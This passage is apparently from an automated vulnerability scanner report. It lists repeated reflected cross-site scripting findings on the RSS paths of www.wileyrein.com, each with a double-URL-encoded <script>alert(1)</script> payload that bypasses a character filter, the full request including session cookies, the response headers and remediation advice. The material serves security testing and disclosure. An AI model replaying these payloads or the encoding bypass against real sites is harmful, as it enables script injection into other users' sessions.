The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38e63%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e99d2689ecdb was submitted in the REST URL parameter 2. This input was echoed as 38e63"><script>alert(1)</script>99d2689ecdb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices38e63%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e99d2689ecdb/Privacy/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:27 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a06f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eae4d6666dc0 was submitted in the REST URL parameter 3. This input was echoed as 5a06f"><script>alert(1)</script>ae4d6666dc0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Privacy5a06f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eae4d6666dc0/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4256c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e823dd7739be was submitted in the REST URL parameter 4. This input was echoed as 4256c"><script>alert(1)</script>823dd7739be in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Privacy/rss.xml4256c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e823dd7739be HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab6ad%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3058a7872f was submitted in the REST URL parameter 1. This input was echoed as ab6ad"><script>alert(1)</script>3058a7872f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rssab6ad%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3058a7872f/practices/Professional_Liability/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b635c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebb61d6adb13 was submitted in the REST URL parameter 2. This input was echoed as b635c"><script>alert(1)</script>bb61d6adb13 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practicesb635c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebb61d6adb13/Professional_Liability/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:27 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b62f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e209c75ecebf was submitted in the REST URL parameter 3. This input was echoed as 7b62f"><script>alert(1)</script>209c75ecebf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Professional_Liability7b62f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e209c75ecebf/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:27 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3cc2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e842ba8b7f27 was submitted in the REST URL parameter 4. This input was echoed as a3cc2"><script>alert(1)</script>842ba8b7f27 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Professional_Liability/rss.xmla3cc2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e842ba8b7f27 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 43538%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e239e5feec7 was submitted in the REST URL parameter 1. This input was echoed as 43538"><script>alert(1)</script>239e5feec7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss43538%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e239e5feec7/practices/Public_Policy/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95bab%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4f44ea70a80 was submitted in the REST URL parameter 2. This input was echoed as 95bab"><script>alert(1)</script>4f44ea70a80 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices95bab%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4f44ea70a80/Public_Policy/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:30 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf26f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee7d3032f123 was submitted in the REST URL parameter 3. This input was echoed as bf26f"><script>alert(1)</script>e7d3032f123 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Public_Policybf26f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee7d3032f123/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:31 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc78d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e35e1d1edf9 was submitted in the REST URL parameter 4. This input was echoed as cc78d"><script>alert(1)</script>35e1d1edf9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Public_Policy/rss.xmlcc78d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e35e1d1edf9 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:38 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e1f4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0a2d2f96202 was submitted in the REST URL parameter 1. This input was echoed as 8e1f4"><script>alert(1)</script>0a2d2f96202 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss8e1f4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0a2d2f96202/practices/White_Collar_Defense/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68e4a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edceb9945ee4 was submitted in the REST URL parameter 2. This input was echoed as 68e4a"><script>alert(1)</script>dceb9945ee4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices68e4a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edceb9945ee4/White_Collar_Defense/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:30 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74b35%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3123ddbb2f4 was submitted in the REST URL parameter 3. This input was echoed as 74b35"><script>alert(1)</script>3123ddbb2f4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/White_Collar_Defense74b35%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3123ddbb2f4/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:31 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3f91%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e069fcdb3970 was submitted in the REST URL parameter 4. This input was echoed as b3f91"><script>alert(1)</script>069fcdb3970 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/White_Collar_Defense/rss.xmlb3f91%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e069fcdb3970 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:38 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85268%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8395fd2c6ad was submitted in the REST URL parameter 1. This input was echoed as 85268"><script>alert(1)</script>8395fd2c6ad in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss85268%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8395fd2c6ad/publications/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 438f3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2ac3b841518 was submitted in the REST URL parameter 2. This input was echoed as 438f3"><script>alert(1)</script>2ac3b841518 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/publications438f3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2ac3b841518/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7207%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5a1738ffeb4 was submitted in the REST URL parameter 3. This input was echoed as d7207"><script>alert(1)</script>5a1738ffeb4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/publications/rss.xmld7207%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5a1738ffeb4 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53325%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5cfc2555b00 was submitted in the REST URL parameter 1. This input was echoed as 53325"><script>alert(1)</script>5cfc2555b00 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /x2253325%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5cfc2555b00 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
4.316. http://www.wileyrein.com/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.wileyrein.com
Path:
/x22
Issue detail
